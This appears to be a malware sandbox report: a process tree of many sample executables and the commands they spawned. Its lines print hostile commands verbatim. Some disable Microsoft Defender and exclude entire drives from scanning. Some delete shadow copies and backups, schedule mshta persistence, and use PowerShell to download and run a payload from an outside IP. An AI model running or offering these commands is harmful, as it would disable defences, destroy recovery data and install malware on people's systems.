- C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
  "C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:5872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:4752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:2988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:4464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:4116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:2004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows.old/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Defender\en-US\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:300
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\tracing\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:2440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Photo Viewer\fr-FR\lsass.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:5704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\en-US\sihost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\SystemTemp\Crashpad\reports\explorer.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:2400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1364
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\TLejd3nW5u.bat"
    3⤵
    PID:7020
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:3940
  - - C:\Windows\system32\PING.EXE
      ping -n 10 localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:7448
  - - C:\Program Files (x86)\Windows Defender\en-US\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe
      "C:\Program Files (x86)\Windows Defender\en-US\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe"
      4⤵
      PID:1292
- C:\Users\Admin\AppData\Local\Temp\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe
  "C:\Users\Admin\AppData\Local\Temp\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe"
  2⤵
  PID:2380
- C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe
  "C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"
  2⤵
  PID:8184
- - C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe
    "C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"
    3⤵
    PID:10748
- C:\Users\Admin\AppData\Local\Temp\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe
  "C:\Users\Admin\AppData\Local\Temp\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe"
  2⤵
  PID:7864
- C:\Users\Admin\AppData\Local\Temp\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
  "C:\Users\Admin\AppData\Local\Temp\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe"
  2⤵
  PID:6712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\Program Files\Google\Chrome\Application'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6612
- - C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe
    "C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe"
    3⤵
    PID:8220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Remove-MpPreference -ExclusionPath 'C:\Program Files\Google\Chrome\Application'
    3⤵
    PID:9220
- C:\Users\Admin\AppData\Local\Temp\60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe
  "C:\Users\Admin\AppData\Local\Temp\60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe"
  2⤵
  PID:4052
- C:\Users\Admin\AppData\Local\Temp\65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe
  "C:\Users\Admin\AppData\Local\Temp\65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe"
  2⤵
  PID:7584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe
    3⤵
    PID:9548
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:8900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f
    3⤵
    PID:9212
  - - C:\Windows\system32\reg.exe
      REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f
      4⤵
      Modifies registry key
      PID:1040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t reg_dword /d 1 /f
    3⤵
    PID:9728
  - - C:\Windows\system32\reg.exe
      REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t reg_dword /d 1 /f
      4⤵
      Modifies registry key
      PID:5996
- C:\Users\Admin\AppData\Local\Temp\77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
  "C:\Users\Admin\AppData\Local\Temp\77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe"
  2⤵
  PID:4364
- C:\Users\Admin\AppData\Local\Temp\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
  "C:\Users\Admin\AppData\Local\Temp\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe"
  2⤵
  PID:6164
- C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe
  "C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe"
  2⤵
  PID:8712
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 8712 -s 456
    3⤵
    - Program crash
    PID:7100
- C:\Users\Admin\AppData\Local\Temp\188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe
  "C:\Users\Admin\AppData\Local\Temp\188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe"
  2⤵
  PID:3016
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn XxwW7maBxoA /tr "mshta C:\Users\Admin\AppData\Local\Temp\09BEC1rjq.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    PID:7260
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn XxwW7maBxoA /tr "mshta C:\Users\Admin\AppData\Local\Temp\09BEC1rjq.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:8344
- - C:\Windows\SysWOW64\mshta.exe
    mshta C:\Users\Admin\AppData\Local\Temp\09BEC1rjq.hta
    3⤵
    PID:7792
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'IHMU7ZY2ZMBZNA4BJMRWHEO3FMYEFKVV.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6460
- C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe
  "C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe"
  2⤵
  PID:8448
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 8448 -s 268
    3⤵
    - Program crash
    PID:8728
- C:\Users\Admin\AppData\Local\Temp\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe
  "C:\Users\Admin\AppData\Local\Temp\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe"
  2⤵
  PID:6956
- C:\Users\Admin\AppData\Local\Temp\577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe
  "C:\Users\Admin\AppData\Local\Temp\577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe"
  2⤵
  PID:2604
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
    3⤵
    PID:8352
- C:\Users\Admin\AppData\Local\Temp\755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe
  "C:\Users\Admin\AppData\Local\Temp\755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe"
  2⤵
  PID:8472
- C:\Users\Admin\AppData\Local\Temp\771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
  "C:\Users\Admin\AppData\Local\Temp\771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe"
  2⤵
  PID:8752
- C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe
  "C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe"
  2⤵
  PID:8976
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:10216
- C:\Users\Admin\AppData\Local\Temp\954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe
  "C:\Users\Admin\AppData\Local\Temp\954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe"
  2⤵
  PID:6320
- - C:\Users\Admin\AppData\Roaming\svchost.exe
    "C:\Users\Admin\AppData\Roaming\svchost.exe"
    3⤵
    PID:11172
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
      4⤵
      PID:10920
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
      4⤵
      PID:5528
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
      4⤵
      PID:7984
  - - C:\Windows\system32\NOTEPAD.EXE
      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\stop_propaganda.txt
      4⤵
      Opens file in notepad (likely ransom note)
      PID:7576
- C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe
  "C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"
  2⤵
  PID:9632
- - C:\Windows\svchost.com
    "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"
    3⤵
    PID:6176
- - C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe
    "C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"
    3⤵
    PID:8404
- C:\Users\Admin\AppData\Local\Temp\4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe
  "C:\Users\Admin\AppData\Local\Temp\4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe"
  2⤵
  PID:2820
- C:\Users\Admin\AppData\Local\Temp\06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe
  "C:\Users\Admin\AppData\Local\Temp\06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe"
  2⤵
  PID:6444
- - C:\Windows\svchost.com
    "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\HACKCR~1.EXE"
    3⤵
    PID:10564
- C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
  "C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"
  2⤵
  PID:716
- - C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
    "C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"
    3⤵
    PID:8968
- C:\Users\Admin\AppData\Local\Temp\145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe
  "C:\Users\Admin\AppData\Local\Temp\145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe"
  2⤵
  PID:8352
- C:\Users\Admin\AppData\Local\Temp\a0da672fdaf8943fc0453424197c5ae5539ed1cc86a47e955ea706a3e8365fe7.exe
  "C:\Users\Admin\AppData\Local\Temp\a0da672fdaf8943fc0453424197c5ae5539ed1cc86a47e955ea706a3e8365fe7.exe"
  2⤵
  PID:8552
- C:\Users\Admin\AppData\Local\Temp\a10fe565f9891cb66e24299122c236e1e641451564a930b60ae91a24e09e6d62.exe
  "C:\Users\Admin\AppData\Local\Temp\a10fe565f9891cb66e24299122c236e1e641451564a930b60ae91a24e09e6d62.exe"
  2⤵
  PID:8944
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 8944 -s 260
    3⤵
    - Program crash
    PID:10408
- C:\Users\Admin\AppData\Local\Temp\aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949.exe
  "C:\Users\Admin\AppData\Local\Temp\aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949.exe"
  2⤵
  PID:10076
- C:\Users\Admin\AppData\Local\Temp\ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe
  "C:\Users\Admin\AppData\Local\Temp\ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe"
  2⤵
  PID:9080
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn Q4axjmaDXY5 /tr "mshta C:\Users\Admin\AppData\Local\Temp\0IuH99Pqr.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    PID:9128
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn Q4axjmaDXY5 /tr "mshta C:\Users\Admin\AppData\Local\Temp\0IuH99Pqr.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:8488
- - C:\Windows\SysWOW64\mshta.exe
    mshta C:\Users\Admin\AppData\Local\Temp\0IuH99Pqr.hta
    3⤵
    PID:9556
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'DPOVKXA1TBU0MFOPU6TBYGTIXAAQBQRB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5024
- C:\Users\Admin\AppData\Local\Temp\aead1f538ae65044f17554b188d4d1f88d7c4840bb554f3d70a2fe3ab86f6abf.exe
  "C:\Users\Admin\AppData\Local\Temp\aead1f538ae65044f17554b188d4d1f88d7c4840bb554f3d70a2fe3ab86f6abf.exe"
  2⤵
  PID:9800
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:9740
- C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe
  "C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe"
  2⤵
  PID:10004
- - C:\Program Files\Java\jre-1.8\bin\javaw.exe
    "C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe"
    3⤵
    PID:10424
- C:\Users\Admin\AppData\Local\Temp\b975f3981291f86d4a8f023b2cd5473abf6b8f4f33bb6f6cbb19bab0fa01d2ad.exe
  "C:\Users\Admin\AppData\Local\Temp\b975f3981291f86d4a8f023b2cd5473abf6b8f4f33bb6f6cbb19bab0fa01d2ad.exe"
  2⤵
  PID:10756
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:9664
- C:\Users\Admin\AppData\Local\Temp\c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba.exe
  "C:\Users\Admin\AppData\Local\Temp\c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba.exe"
  2⤵
  PID:11208
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    PID:7760
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath 'C:'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:9980
- - C:\Windows\system32\svchost.exe
    "C:\Windows\system32\svchost.exe"
    3⤵
    PID:3252
- C:\Users\Admin\AppData\Local\Temp\c348c7e4d9028bdf84aba828bbb81ce46ae55c0246a94351edbfb9c63e41a8ee.exe
  "C:\Users\Admin\AppData\Local\Temp\c348c7e4d9028bdf84aba828bbb81ce46ae55c0246a94351edbfb9c63e41a8ee.exe"
  2⤵
  PID:10156
- - C:\Windows\svchost.com
    "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Roaming\Widget\WIDGET~1.EXE"
    3⤵
    PID:936
- C:\Users\Admin\AppData\Local\Temp\c558e126c64a89887115a45276d5a8751f90c399eb32ca103f6e50901abc7abd.exe
  "C:\Users\Admin\AppData\Local\Temp\c558e126c64a89887115a45276d5a8751f90c399eb32ca103f6e50901abc7abd.exe"
  2⤵
  PID:10644
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:8604
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5724
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:7676
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:8924
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:9092
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:11068
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference -verbose
      4⤵
      PID:10160
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
      4⤵
      PID:5692
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
      4⤵
      PID:2748
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
      4⤵
      PID:9700
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
      4⤵
      PID:5808
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
      4⤵
      PID:10364
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
      4⤵
      PID:10340
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
      4⤵
      PID:9604
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
      4⤵
      PID:10748
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
      4⤵
      PID:10456
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
      4⤵
      PID:8984
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      PID:10220
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 HR" /sc HOURLY /rl HIGHEST
      4⤵
      PID:11164
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 HR" /sc HOURLY /rl HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10384
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 LG" /sc ONLOGON /rl HIGHEST
      4⤵
      PID:9120
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 LG" /sc ONLOGON /rl HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2404
- C:\Users\Admin\AppData\Local\Temp\cf75a4bb6793649841a5c9c4a7dcd93e3bea2924333d13bb855b8996b2cb8955.exe
  "C:\Users\Admin\AppData\Local\Temp\cf75a4bb6793649841a5c9c4a7dcd93e3bea2924333d13bb855b8996b2cb8955.exe"
  2⤵
  PID:11160
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" netsh advfirewall firewall add rule name="#/x!Nu|2NxbWN@" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe" enable=yes & exit
    3⤵
    PID:11108
- - C:\Windows\SYSTEM32\cmd.exe
